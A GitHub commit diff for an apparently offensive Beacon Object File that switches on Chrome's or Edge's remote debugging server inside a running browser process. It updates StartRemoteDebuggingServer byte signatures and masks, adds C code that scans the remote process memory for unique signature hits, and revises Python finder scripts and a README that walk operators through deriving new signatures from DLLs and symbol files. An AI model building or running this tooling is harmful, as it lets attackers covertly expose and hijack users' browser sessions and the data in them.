Merge pull request #1 from antroguy/main

Update Edge StartRemoteDebuggingServer signature byte mask and Chrome signature byte mask
This commit is contained in:
Andrew Gomez
2026-05-06 19:45:35 +00:00
committed by GitHub
6 changed files with 206 additions and 64 deletions
+3
View File
@@ -53,3 +53,6 @@ dkms.conf
# debug information files
*.dwo
# Python
__pycache__/
+84 -17
View File
@@ -58,23 +58,27 @@ Cause: Edge version mismatch - signatures are version-specific
Solution: See "Finding New Signatures" below
Tested Chrome Version: 147.0.7727.102
Tested Edge Version: 147.0.3912.72
Tested Edge Version: 147.0.3912.98
## Finding New Signatures
The finder scripts are still included because they are useful for:
These scripts are used to find new signatures and supporting runtime inputs for
updated browser versions:
- validating new signatures
- checking symbol drift across browser versions
- reverse engineering / troubleshooting
- `StartRemoteDebuggingServer`
- `operator new`
- `TCPServerSocketFactory::CreateForHttpServer`
- derived `TCPServerSocketFactory` vtable information
### Pull the DLLs
Typical browser DLL locations:
Copy the DLL from the browser build you are targeting into the working
directory. On this machine, the installed DLLs live under versioned
subdirectories:
```powershell
Copy-Item "$env:ProgramFiles\\Google\\Chrome\\Application\\chrome.dll" .
Copy-Item "${env:ProgramFiles(x86)}\\Microsoft\\Edge\\Application\\msedge.dll" .
Copy-Item "C:\Program Files\Google\Chrome\Application\147.0.7727.138\chrome.dll" .
Copy-Item "C:\Program Files (x86)\Microsoft\Edge\Application\147.0.3912.98\msedge.dll" .
```
### Pull the matching PDBs
@@ -96,23 +100,86 @@ symchk /v /ocx edge-symchk.txt /s SRV*c:\symbols*https://msdl.microsoft.com/down
Find `StartRemoteDebuggingServer`:
```powershell
python .\find_start_server.py .\chrome.dll .\chrome.dll.pdb
python .\find_start_server.py .\msedge.dll .\msedge.dll.pdb
python .\find_start_server.py .\chrome.dll <full path to chrome.dll.pdb>
python .\find_start_server.py .\msedge.dll <full path to msedge.dll.pdb>
```
Example Edge output:
```json
{
"binary": "C:\\Users\\antrovmp\\Desktop\\CDP-Enable-BOF\\msedge.dll",
"pdb": "c:\\symbols\\msedge.dll.pdb\\23DB3E4A1AB4F3B44C4C44205044422E1\\msedge.dll.pdb",
"symbol": "?StartRemoteDebuggingServer@DevToolsAgentHost@content@@SAXV?$unique_ptr@VDevToolsSocketFactory@content@@U?$default_delete@VDevToolsSocketFactory@content@@@__Cr@std@@@__Cr@std@@AEBVFilePath@base@@1W4RemoteDebuggingServerMode@12@@Z",
"signature_rva": "0x0321EAC2",
"signature_va": "0x000000018321EAC2",
"signature_length": 30,
"signature_hex": "41 57 41 56 41 54 56 57 55 53 48 83 EC 50 44 89 CD 4C 89 C3 48 89 D7 48 89 CE 48 8B 05 5D",
"signature_c_initializer": "0x41, 0x57, 0x41, 0x56, 0x41, 0x54, 0x56, 0x57, 0x55, 0x53, 0x48, 0x83, 0xEC, 0x50, 0x44, 0x89, 0xCD, 0x4C, 0x89, 0xC3, 0x48, 0x89, 0xD7, 0x48, 0x89, 0xCE, 0x48, 0x8B, 0x05, 0x5D",
"copy_to_code": "Use this for EDGE_START_SIG if analyzing msedge.dll, or CHROME_START_SIG if analyzing chrome.dll.",
"text_hits": 1
}
```
Copy `signature_c_initializer` into the start signature array in
`cdp_enable_bof.c`:
- Edge: `EDGE_START_SIG` at line 168
- Edge mask: `EDGE_START_MASK` at line 181
- Chrome: `CHROME_START_SIG` at line 194
- Chrome mask: `CHROME_START_MASK` at line 207
For Edge, replace the bytes in `EDGE_START_SIG` with the new
`signature_c_initializer`. For Chrome, do the same with `CHROME_START_SIG`.
Find the supporting inputs:
```powershell
python .\find_cdp_inputs.py .\chrome.dll .\chrome.dll.pdb
python .\find_cdp_inputs.py .\msedge.dll .\msedge.dll.pdb
python .\find_cdp_inputs.py .\chrome.dll <full path to chrome.dll.pdb>
python .\find_cdp_inputs.py .\msedge.dll <full path to msedge.dll.pdb>
```
These scripts emit:
Example Edge output:
- `StartRemoteDebuggingServer`
- `operator new`
- `TCPServerSocketFactory::CreateForHttpServer`
- derived `TCPServerSocketFactory` vtable
```json
{
"binary": "msedge.dll",
"operator_new": {
"rva": "0x036335D8",
"va": "0x00000001836335D8",
"signature": "40 53 48 83 EC 20 48 8B D9 EB ?? 48 8B CB E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B CB",
"copy_to_code": "OPERATOR_NEW_SIG"
},
"tcp_server_socket_factory": {
"create_for_http_server": {
"rva": "0x016C7310",
"va": "0x00000001816C7310",
"signature_hex": "48 89 D0 0F B7 51 08 48",
"signature_c_initializer": "0x48, 0x89, 0xD0, 0x0F, 0xB7, 0x51, 0x08, 0x48",
"copy_to_code": "EDGE_ENTRY1_SIG",
"vtable_rva": "0x0FBDCA70",
"vtable_va": "0x000000018FBDCA70"
},
"layout": {
"size": 16,
"vtable_offset": 0,
"port_offset": 8
}
}
}
```
Important fields and where they go:
- `operator_new.copy_to_code` -> `OPERATOR_NEW_SIG` at line 221
- `tcp_server_socket_factory.create_for_http_server.copy_to_code` ->
`EDGE_ENTRY1_SIG` at line 242 or `CHROME_ENTRY1_SIG` at line 246
- `tcp_server_socket_factory.layout` is a sanity check for the object layout the
BOF expects: size `16`, vtable offset `0`, port offset `8`
The script also derives the TCPServerSocketFactory vtable location. The BOF
still resolves that through the `VTABLE_ENTRY0_SIG` / `VTABLE_ENTRY0_MASK`
helper at lines 228 and 234 if that helper drifts.
## Notes
+84 -6
View File
@@ -170,7 +170,25 @@ static const uint8_t EDGE_START_SIG[] = {
0x55, 0x53, 0x48, 0x83, 0xEC, 0x50,
0x44, 0x89, 0xCD, 0x4C, 0x89, 0xC3,
0x48, 0x89, 0xD7, 0x48, 0x89, 0xCE,
0x48, 0x8B, 0x05, 0x9D
0x48, 0x8B, 0x05, 0x00, 0x00, 0x00, 0x00,
0x48, 0x31, 0xE0, 0x48, 0x89, 0x44, 0x24, 0x48,
0xE8, 0x00, 0x00, 0x00, 0x00,
0x4C, 0x8B, 0x70, 0x08, 0x4D, 0x85, 0xF6, 0x0F, 0x84,
0x00, 0x00, 0x00, 0x00,
0xB9, 0x90, 0x00, 0x00, 0x00
};
static const uint8_t EDGE_START_MASK[] = {
1,1,1,1,1,1,1,1,
1,1,1,1,1,1,
1,1,1,1,1,1,
1,1,1,1,1,1,
1,1,1,0,0,0,0,
1,1,1,1,1,1,1,1,
1,0,0,0,0,
1,1,1,1,1,1,1,1,1,
0,0,0,0,
1,1,1,1,1
};
static const uint8_t CHROME_START_SIG[] = {
@@ -178,7 +196,12 @@ static const uint8_t CHROME_START_SIG[] = {
0x48, 0x83, 0xEC, 0x48,
0x44, 0x89, 0xCD, 0x4D, 0x89, 0xC6,
0x48, 0x89, 0xD3, 0x48, 0x89, 0xCE,
0x48, 0x8B, 0x05, 0x00, 0x00, 0x00, 0x00
0x48, 0x8B, 0x05, 0x00, 0x00, 0x00, 0x00,
0x48, 0x31, 0xE0, 0x48, 0x89, 0x44, 0x24, 0x40, 0xE8,
0x00, 0x00, 0x00, 0x00,
0x4C, 0x8B, 0x78, 0x08, 0x4D, 0x85, 0xFF, 0x0F, 0x84,
0xE8, 0x00, 0x00, 0x00,
0xB9, 0x90, 0x00, 0x00, 0x00
};
static const uint8_t CHROME_START_MASK[] = {
@@ -186,7 +209,12 @@ static const uint8_t CHROME_START_MASK[] = {
1,1,1,1,
1,1,1,1,1,1,
1,1,1,1,1,1,
1,1,1,0,0,0,0
1,1,1,0,0,0,0,
1,1,1,1,1,1,1,1,1,
0,0,0,0,
1,1,1,1,1,1,1,1,1,
1,1,1,1,
1,1,1,1,1
};
/* Short unique operator new signature. */
@@ -437,6 +465,50 @@ static void* ScanRemoteForSignature(HANDLE hProcess, uint8_t* start, SIZE_T size
return NULL;
}
static int CountRemoteSignatureHits(HANDLE hProcess, uint8_t* start, SIZE_T size,
const uint8_t* sig, const uint8_t* mask, SIZE_T sig_len,
uintptr_t* first_hit) {
const SIZE_T chunk = 0x10000;
SIZE_T offset = 0;
int count = 0;
uint8_t* buf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, chunk + sig_len);
if (!buf) return 0;
if (first_hit) *first_hit = 0;
while (offset < size) {
SIZE_T to_read = size - offset;
SIZE_T read = 0, end, i;
if (to_read > chunk) to_read = chunk;
if (!ReadProcessMemory(hProcess, start + offset, buf, to_read, &read) || read < sig_len) {
offset += chunk;
continue;
}
end = read - sig_len;
for (i = 0; i <= end; i++) {
BOOL match = TRUE;
SIZE_T j;
for (j = 0; j < sig_len && match; j++) {
if (!mask || mask[j]) {
if (buf[i + j] != sig[j]) match = FALSE;
}
}
if (match) {
if (count == 0 && first_hit) {
*first_hit = (uintptr_t)(start + offset + i);
}
count++;
}
}
offset += chunk;
}
HeapFree(GetProcessHeap(), 0, buf);
return count;
}
static int ScanRemoteForAllSignatures(HANDLE hProcess, uint8_t* start, SIZE_T size,
const uint8_t* sig, const uint8_t* mask, SIZE_T sig_len,
uint64_t* out_matches, int max_matches) {
@@ -561,17 +633,23 @@ static BOOL ResolveSymbolsRuntime(HANDLE hProcess, uintptr_t module_base, const
void* entry1 = NULL;
uint64_t destr_addrs[32];
int destr_count = 0;
int start_hits = 0;
if (!GetRemoteSectionInfo(hProcess, (uint8_t*)module_base, &text_base, &text_size, &rdata_base, &rdata_size)) {
BeaconPrintf(CALLBACK_ERROR, "[-] Failed to read remote PE sections");
return FALSE;
}
*start_server = (uintptr_t)ScanRemoteForSignature(hProcess, text_base, text_size, target->start_sig, target->start_mask, target->start_sig_len);
if (!*start_server) {
start_hits = CountRemoteSignatureHits(
hProcess, text_base, text_size, target->start_sig, target->start_mask, target->start_sig_len, start_server);
if (start_hits == 0 || !*start_server) {
BeaconPrintf(CALLBACK_ERROR, "[-] StartRemoteDebuggingServer signature not found");
return FALSE;
}
if (start_hits != 1) {
BeaconPrintf(CALLBACK_ERROR, "[-] StartRemoteDebuggingServer signature was not unique (hits=%d)", start_hits);
return FALSE;
}
*chrome_new = (uintptr_t)ScanRemoteForSignature(hProcess, text_base, text_size, OPERATOR_NEW_SIG, OPERATOR_NEW_MASK, sizeof(OPERATOR_NEW_SIG));
if (!*chrome_new) {
@@ -602,7 +680,7 @@ static BOOL ResolveSymbolsRuntime(HANDLE hProcess, uintptr_t module_base, const
void go(char* args, int len) {
TARGET_CFG targets[] = {
{ "edge", L"msedge.exe", L"msedge.dll", EDGE_START_SIG, NULL, sizeof(EDGE_START_SIG), EDGE_ENTRY1_SIG, NULL, sizeof(EDGE_ENTRY1_SIG) },
{ "edge", L"msedge.exe", L"msedge.dll", EDGE_START_SIG, EDGE_START_MASK, sizeof(EDGE_START_SIG), EDGE_ENTRY1_SIG, NULL, sizeof(EDGE_ENTRY1_SIG) },
{ "chrome", L"chrome.exe", L"chrome.dll", CHROME_START_SIG, CHROME_START_MASK, sizeof(CHROME_START_SIG), CHROME_ENTRY1_SIG, CHROME_ENTRY1_MASK, sizeof(CHROME_ENTRY1_SIG) }
};
datap parser;
+10 -1
View File
@@ -13,7 +13,7 @@ import pefile
ROOT = Path(__file__).resolve().parent
sys.path.insert(0, str(ROOT))
from pe_signature_finder import analyze_symbols, demangle_symbol # type: ignore
from pe_signature_finder import analyze_symbols, demangle_symbol, format_bytes # type: ignore
# From the current CDP-Enabler project: the Chrome/Edge allocator used for the
@@ -47,6 +47,10 @@ def find_unique_regex(pattern: bytes, data: bytes) -> int:
return matches[0]
def format_c_initializer(data: bytes) -> str:
return ", ".join(f"0x{b:02X}" for b in data)
def choose_tcp_factory_entry1(pe_path: Path, pdb_path: Path):
with contextlib.redirect_stderr(io.StringIO()):
results = list(
@@ -114,15 +118,20 @@ def main():
"rva": f"0x{operator_new_rva:08X}",
"va": f"0x{image_base + operator_new_rva:016X}",
"signature": OPERATOR_NEW_SIGNATURE,
"copy_to_code": "OPERATOR_NEW_SIG",
},
"tcp_server_socket_factory": {
"create_for_http_server": {
"rva": f"0x{entry1_rva:08X}",
"va": f"0x{entry1_va:016X}",
"signature_hex": format_bytes(entry1_sig),
"signature_c_initializer": format_c_initializer(entry1_sig),
"copy_to_code": "EDGE_ENTRY1_SIG" if args.pe.name.lower() == "msedge.dll" else "CHROME_ENTRY1_SIG",
"derived_vtable_entry1_candidates": [f"0x{candidate:08X}" for candidate in vtable_candidates],
"vtable_entry1_rva": f"0x{vtable_entry1_rva:08X}",
"vtable_rva": f"0x{vtable_entry1_rva - 8:08X}",
"vtable_va": f"0x{image_base + vtable_entry1_rva - 8:016X}",
"note": "The script emits the CreateForHttpServer function signature and derives the vtable location. The PIC code still uses VTABLE_ENTRY0_SIG / VTABLE_ENTRY0_MASK for vtable matching if that helper drifts.",
},
"layout": {
"size": 16,
+19 -34
View File
@@ -14,16 +14,9 @@ sys.path.insert(0, str(ROOT))
from pe_signature_finder import analyze_symbols, format_bytes # type: ignore
KNOWN_START_SERVER_SIGNATURES = {
"msedge.dll": bytes.fromhex(
"41 57 41 56 41 54 56 57 55 53 48 83 EC 50 "
"44 89 CD 4C 89 C3 48 89 D7 48 89 CE 48 8B 05 9D"
),
"chrome.dll": bytes.fromhex(
"41 57 41 56 56 57 55 53 48 83 EC 48 "
"44 89 CD 4D 89 C6 48 89 D3 48 89 CE 48 8B 05 41"
),
}
def format_c_initializer(data: bytes) -> str:
return ", ".join(f"0x{b:02X}" for b in data)
def load_text_section(pe_path: Path):
@@ -48,25 +41,8 @@ def main():
args = parser.parse_args()
pe, _text_section, text_data = load_text_section(args.pe)
known_sig = KNOWN_START_SERVER_SIGNATURES.get(args.pe.name.lower())
if known_sig is None:
raise SystemExit(f"no built-in signature for {args.pe.name}; provide a PDB for ground truth")
pattern_hits = [m.start() for m in re.finditer(re.escape(known_sig), text_data)]
if len(pattern_hits) != 1:
raise SystemExit(f"expected exactly one StartRemoteDebuggingServer signature hit, got {len(pattern_hits)}")
matched_offset = pattern_hits[0]
matched_rva = _text_section.VirtualAddress + matched_offset
output = {
"binary": str(args.pe),
"signature_rva": f"0x{matched_rva:08X}",
"signature_va": f"0x{pe.OPTIONAL_HEADER.ImageBase + matched_rva:016X}",
"signature_length": len(known_sig),
"signature_hex": format_bytes(known_sig),
"text_hits": 1,
}
if args.pdb:
@@ -77,21 +53,30 @@ def main():
str(args.pdb),
"*StartRemoteDebuggingServer*",
min_sig=8,
max_sig=64,
max_sig=80,
)
)
good = [r for r in results if r.signature and r.match_count == 1]
if good:
if not good:
raise SystemExit("failed to derive a unique StartRemoteDebuggingServer signature from the PDB")
result = good[0]
signature = result.signature
assert signature is not None
output["pdb"] = str(args.pdb)
output["symbol"] = result.symbol.name
output["pdb_rva"] = f"0x{result.symbol.rva:08X}"
output["pdb_va"] = f"0x{pe.OPTIONAL_HEADER.ImageBase + result.symbol.rva:016X}"
output["pdb_signature_hex"] = format_bytes(signature)
output["pdb_signature_text_hits"] = verify_unique(signature, text_data)
output["signature_matches_pdb_rva"] = matched_rva == result.symbol.rva
output["signature_rva"] = f"0x{result.symbol.rva:08X}"
output["signature_va"] = f"0x{pe.OPTIONAL_HEADER.ImageBase + result.symbol.rva:016X}"
output["signature_length"] = len(signature)
output["signature_hex"] = format_bytes(signature)
output["signature_c_initializer"] = format_c_initializer(signature)
output["copy_to_code"] = (
"Use this for EDGE_START_SIG if analyzing msedge.dll, or CHROME_START_SIG if analyzing chrome.dll."
)
output["text_hits"] = verify_unique(signature, text_data)
else:
raise SystemExit("a matching PDB is required")
print(json.dumps(output, indent=2))
BIN
View File
Binary file not shown.